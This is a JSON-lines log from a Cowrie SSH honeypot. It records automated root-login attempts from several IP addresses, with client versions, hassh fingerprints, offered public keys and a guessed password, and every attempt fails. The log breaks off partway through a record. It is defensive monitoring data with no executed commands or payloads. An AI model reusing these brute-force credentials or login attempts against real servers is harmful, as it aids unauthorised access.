{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:32:30.176672Z","src_ip":"147.45.199.80","session":"47a8bd9a4690","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.127.175.154","src_port":60996,"dst_ip":"10.17.0.5","dst_port":22,"session":"a037df9e46e8","protocol":"ssh","message":"New connection: 96.127.175.154:60996 (10.17.0.5:22) [session: a037df9e46e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:33:47.407474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:33:47.411277Z","src_ip":"96.127.175.154","session":"a037df9e46e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:33:47.437902Z","src_ip":"96.127.175.154","session":"a037df9e46e8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:a3:c7:62:40:ba:a5:cd:7a:cb:28:22:6a:72:9b:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8FD+T0M5yJx2HvKDqzBLG/4FGv4dmAw24VWpEd+A3CAShMmsR7n/TNa5Z6r/TwNpHilfD50EaFnHErKXtxJuM6bdOx30XNS7xbthWWYjAxBnXsgLh6f7Y3bbjWQJ6dXKEFS7K36LKXDKROJXF5utEuCB5PwhWLaQOFKAUTDAEPW5o95tyNJ41HNbaswk/38Yj+y+N39Z2xGjsjPiWavyljHxq+SL7md1Wz4VNXOvhf2p453QnUZLocz5os6wgcf0sFfqUVnt8mCqQwohcrzt+bKZvZmYrF1mTooVi7XJgwOwdHJbPTMT7X70ATct7JYOs4G3Q8XBD5RIF+r5Yoq/x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:a3:c7:62:40:ba:a5:cd:7a:cb:28:22:6a:72:9b:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:33:47.549683Z","src_ip":"96.127.175.154","session":"a037df9e46e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:a3:c7:62:40:ba:a5:cd:7a:cb:28:22:6a:72:9b:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8FD+T0M5yJx2HvKDqzBLG/4FGv4dmAw24VWpEd+A3CAShMmsR7n/TNa5Z6r/TwNpHilfD50EaFnHErKXtxJuM6bdOx30XNS7xbthWWYjAxBnXsgLh6f7Y3bbjWQJ6dXKEFS7K36LKXDKROJXF5utEuCB5PwhWLaQOFKAUTDAEPW5o95tyNJ41HNbaswk/38Yj+y+N39Z2xGjsjPiWavyljHxq+SL7md1Wz4VNXOvhf2p453QnUZLocz5os6wgcf0sFfqUVnt8mCqQwohcrzt+bKZvZmYrF1mTooVi7XJgwOwdHJbPTMT7X70ATct7JYOs4G3Q8XBD5RIF+r5Yoq/x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:33:47.553281Z","src_ip":"96.127.175.154","session":"a037df9e46e8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:ee:ca:50:8d:0d:49:09:44:5f:7b:d8:7b:d7:85:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6poX8eVVpaHDNNqGYoifnBHtKVvwDYnv4J1akSoX5b4/9Q0Y5ppjmxIt8NID8IUFFEytCaIK0jb+1eu0uBtpxOxJgVITIwRbbCbpXE6copmCs9LwSeeKjNs4pjGB2GlQOkm+NeLI2p1kHABpQwTgUqpr6H2lfOlvEPxkryUivNrIBikNjcOZPDvKP2U4i/nkdJtFn5UJObe48Pi+U0RQYZ46v8zXQvBXhk9kczzM9X0wlL244WqORh118uHbBe2NnJBK7dMciTRR2uFUdOygarzqWTJkSbVpIFbQV2J2CCaB4f5tRQqEKOvOIA+hEqj0H9sP/JRqnRH8nCPkIl/b9MyZNDwPUJWWiD/JJ46K6BPBJbaDmXIU9vKmpbCT2/4CwAM1zdkssWSSJ+B9XJ5vKw537VO7O4WodBDGY1IzZwKz6rreMWbsSpJjVIO3+8tNRE4QDwoEIrEdkOWWQ1j+UgIb4snQoL21LTcn2yG7F16V8upAbItuSVOt8W6dBSq0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:ee:ca:50:8d:0d:49:09:44:5f:7b:d8:7b:d7:85:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:33:47.580266Z","src_ip":"96.127.175.154","session":"a037df9e46e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:ee:ca:50:8d:0d:49:09:44:5f:7b:d8:7b:d7:85:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6poX8eVVpaHDNNqGYoifnBHtKVvwDYnv4J1akSoX5b4/9Q0Y5ppjmxIt8NID8IUFFEytCaIK0jb+1eu0uBtpxOxJgVITIwRbbCbpXE6copmCs9LwSeeKjNs4pjGB2GlQOkm+NeLI2p1kHABpQwTgUqpr6H2lfOlvEPxkryUivNrIBikNjcOZPDvKP2U4i/nkdJtFn5UJObe48Pi+U0RQYZ46v8zXQvBXhk9kczzM9X0wlL244WqORh118uHbBe2NnJBK7dMciTRR2uFUdOygarzqWTJkSbVpIFbQV2J2CCaB4f5tRQqEKOvOIA+hEqj0H9sP/JRqnRH8nCPkIl/b9MyZNDwPUJWWiD/JJ46K6BPBJbaDmXIU9vKmpbCT2/4CwAM1zdkssWSSJ+B9XJ5vKw537VO7O4WodBDGY1IzZwKz6rreMWbsSpJjVIO3+8tNRE4QDwoEIrEdkOWWQ1j+UgIb4snQoL21LTcn2yG7F16V8upAbItuSVOt8W6dBSq0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:33:47.584074Z","src_ip":"96.127.175.154","session":"a037df9e46e8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:bf:2c:7c:a5:51:01:14:c2:c4:33:b2:cc:00:8e:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwKl6x2HlC39UkoFPfV7MBaMrbN0SXkOUDslClhjh6pTZ/uuyDTEiJnVnpVbfhLwdoSrp+1mlLl2wTk81lainnCeKDg6MmHD+OQCHYdBdMd6j2/L3bC1Larr3lZdYlI37qC37XFDTuDb+WsgM4x3o4EynO4rvJotI7NtyR2wEV20rncNXNz2MDLzJHV/Zy7MXqwQidpZhOQZFrlpguC/JLWCYgMCuvBwm0Nqyb6x5TKVz6KSnFGaL9nvOcqs5+X3jxKT4fWUuqCi44k8RZDOSXnrzxrS2InnakVWYlNQnsgod7oMHvGfVAeO8msckW3Im0dfLL73YhQD0kQklNfWUv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:bf:2c:7c:a5:51:01:14:c2:c4:33:b2:cc:00:8e:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:33:47.611702Z","src_ip":"96.127.175.154","session":"a037df9e46e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:bf:2c:7c:a5:51:01:14:c2:c4:33:b2:cc:00:8e:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwKl6x2HlC39UkoFPfV7MBaMrbN0SXkOUDslClhjh6pTZ/uuyDTEiJnVnpVbfhLwdoSrp+1mlLl2wTk81lainnCeKDg6MmHD+OQCHYdBdMd6j2/L3bC1Larr3lZdYlI37qC37XFDTuDb+WsgM4x3o4EynO4rvJotI7NtyR2wEV20rncNXNz2MDLzJHV/Zy7MXqwQidpZhOQZFrlpguC/JLWCYgMCuvBwm0Nqyb6x5TKVz6KSnFGaL9nvOcqs5+X3jxKT4fWUuqCi44k8RZDOSXnrzxrS2InnakVWYlNQnsgod7oMHvGfVAeO8msckW3Im0dfLL73YhQD0kQklNfWUv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:33:47.615248Z","src_ip":"96.127.175.154","session":"a037df9e46e8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:bf:4f:19:e4:77:14:ba:6a:73:a3:28:9c:a9:44:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDM5VPpZ9vPkA8eSSMHnI2GJpxHefdzyIu9eZDWtuAHr2J2ucewbC09171TgskLtQa8RwHbnft6WxFP7QfSdYW0e+n3pPMtkFHdlNpAKk+qdkoL8GEHM5pSifnIc5WYWWw+nu768lDr/VVcCJOQZTiVYI2vddAz604+ZDT8ZDPxQmM0eCVkfCUVXKIqjjCfI7eTKFmPIBZg/h8a1npWCL/2v5NHyhrr2VLMgGaoZPlXJoaj4X/zksU3H6CJqGO0tOMqxUYbe7tK7GALq8QYS4X4SLKHn/gOHJO+sivW7H7oLeTqFU/xd7gCVFTzJa9k2zzgIoaHszc6U8PH4BhGGyPR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:bf:4f:19:e4:77:14:ba:6a:73:a3:28:9c:a9:44:49","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:33:47.641724Z","src_ip":"96.127.175.154","session":"a037df9e46e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:bf:4f:19:e4:77:14:ba:6a:73:a3:28:9c:a9:44:49","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDM5VPpZ9vPkA8eSSMHnI2GJpxHefdzyIu9eZDWtuAHr2J2ucewbC09171TgskLtQa8RwHbnft6WxFP7QfSdYW0e+n3pPMtkFHdlNpAKk+qdkoL8GEHM5pSifnIc5WYWWw+nu768lDr/VVcCJOQZTiVYI2vddAz604+ZDT8ZDPxQmM0eCVkfCUVXKIqjjCfI7eTKFmPIBZg/h8a1npWCL/2v5NHyhrr2VLMgGaoZPlXJoaj4X/zksU3H6CJqGO0tOMqxUYbe7tK7GALq8QYS4X4SLKHn/gOHJO+sivW7H7oLeTqFU/xd7gCVFTzJa9k2zzgIoaHszc6U8PH4BhGGyPR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:33:47.645158Z","src_ip":"96.127.175.154","session":"a037df9e46e8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:c0:b7:5e:c7:b8:7b:e5:d1:47:be:3d:db:00:f2:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIcR2ukyqBwAeIlz9k37YmJd/TqVUDzc4/i7ULuW+5Wd1ORYcuUm+9pqzU1+/7U8oxaedpbAeh7mPQ6uA/jkfAv0u5VagxCWhdTRd62Pn+PtpWUvKu9mntrFTVYHIjMiUjWIK2QR48dbC2OZ/WiwjHPBjkuyZiAllD8n8iP7RQfL12Ip7v67h53A572b7tthM77g3BZkWRxyLkPi1sgqakiNXGZDeHLjX6gVDqnmEBoB0z5YVTV2RT0ntnQJDUez+8zLueg0YhRywUzpcoskIXfzewWXtOtxPJqyMPpNWrbrVjuZtZ4MIOmgawIaiJRWohwAzFOGPNT/vbUiPliDVV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:c0:b7:5e:c7:b8:7b:e5:d1:47:be:3d:db:00:f2:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:33:47.672462Z","src_ip":"96.127.175.154","session":"a037df9e46e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:c0:b7:5e:c7:b8:7b:e5:d1:47:be:3d:db:00:f2:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIcR2ukyqBwAeIlz9k37YmJd/TqVUDzc4/i7ULuW+5Wd1ORYcuUm+9pqzU1+/7U8oxaedpbAeh7mPQ6uA/jkfAv0u5VagxCWhdTRd62Pn+PtpWUvKu9mntrFTVYHIjMiUjWIK2QR48dbC2OZ/WiwjHPBjkuyZiAllD8n8iP7RQfL12Ip7v67h53A572b7tthM77g3BZkWRxyLkPi1sgqakiNXGZDeHLjX6gVDqnmEBoB0z5YVTV2RT0ntnQJDUez+8zLueg0YhRywUzpcoskIXfzewWXtOtxPJqyMPpNWrbrVjuZtZ4MIOmgawIaiJRWohwAzFOGPNT/vbUiPliDVV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:33:47.676896Z","src_ip":"96.127.175.154","session":"a037df9e46e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:33:47.707410Z","src_ip":"96.127.175.154","session":"a037df9e46e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":38606,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb458f59a44b","protocol":"ssh","message":"New connection: 194.113.233.25:38606 (159.203.135.109:22) [session: bb458f59a44b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:33:50.197681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:33:50.201667Z","src_ip":"194.113.233.25","session":"bb458f59a44b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:33:50.296169Z","src_ip":"194.113.233.25","session":"bb458f59a44b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:33:50.579181Z","src_ip":"194.113.233.25","session":"bb458f59a44b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:33:51.675626Z","src_ip":"194.113.233.25","session":"bb458f59a44b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36406,"dst_ip":"159.203.135.109","dst_port":22,"session":"a05db5e4ed8a","protocol":"ssh","message":"New connection: 103.176.20.57:36406 (159.203.135.109:22) [session: a05db5e4ed8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:09.553493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:09.558361Z","src_ip":"103.176.20.57","session":"a05db5e4ed8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:09.811468Z","src_ip":"103.176.20.57","session":"a05db5e4ed8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:10.822781Z","src_ip":"103.176.20.57","session":"a05db5e4ed8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:12.077840Z","src_ip":"103.176.20.57","session":"a05db5e4ed8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":40570,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bfb73f919e0","protocol":"ssh","message":"New connection: 51.250.105.222:40570 (159.203.135.109:22) [session: 3bfb73f919e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:15.609751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:15.613903Z","src_ip":"51.250.105.222","session":"3bfb73f919e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:15.744822Z","src_ip":"51.250.105.222","session":"3bfb73f919e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:16.142997Z","src_ip":"51.250.105.222","session":"3bfb73f919e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:17.275030Z","src_ip":"51.250.105.222","session":"3bfb73f919e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.142.3.73","src_port":31682,"dst_ip":"10.17.0.5","dst_port":22,"session":"00285b3a3246","protocol":"ssh","message":"New connection: 45.142.3.73:31682 (10.17.0.5:22) [session: 00285b3a3246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:33.217903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:34:33.223060Z","src_ip":"45.142.3.73","session":"00285b3a3246","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-